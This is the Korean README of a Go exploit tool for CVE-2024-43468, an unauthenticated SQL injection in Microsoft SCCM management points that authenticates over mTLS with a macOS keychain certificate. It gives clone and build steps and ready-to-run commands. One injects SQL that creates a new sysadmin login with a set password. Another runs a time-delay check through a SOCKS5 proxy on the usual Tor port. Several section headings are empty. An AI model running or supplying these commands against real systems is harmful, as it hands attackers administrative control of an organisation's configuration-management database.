
CVE-2024-43468 SCCM SQL 인젝션 익스플로잇 (MacOS 키체인 버전의 추출 불가능한 mTLS 클라이언트 인증서)
macOS 키체인을 사용하여 mTLS 인증을 수행하는 (키체인에서 키를 내보낼 필요 없이) CVE-2024-43468 익스플로잇의 Go 구현입니다.
추가로:
기반:
Microsoft Configuration Manager(ConfigMgr / SCCM)의 인증되지 않은 SQL 인젝션을 악용하여 네트워크에서 Management Point에 접근할 수 있는 공격자가 사이트 데이터베이스에 임의의 SQL 쿼리를 실행할 수 있게 합니다.
취약한 버전:
# Clone repository
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go
# Install dependencies
go get github.com/google/uuid
go get golang.org/x/net/proxy
# Build
go build -o sccm
# Show help
./sccm -h
# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
-sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
-cn "CertificateCommonName"
# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
-sql "WAITFOR DELAY '0:0:5'" \
-cn "CertificateCommonName" \
-proxy "127.0.0.1:9050"
-t : 대상 URL (필수)-sql : 실행할 SQL 쿼리 (필수)-cn : macOS 키체인의 인증서 Common Name (필수)-proxy : SOCKS5 프록시 주소 (기본값: 비어 있음)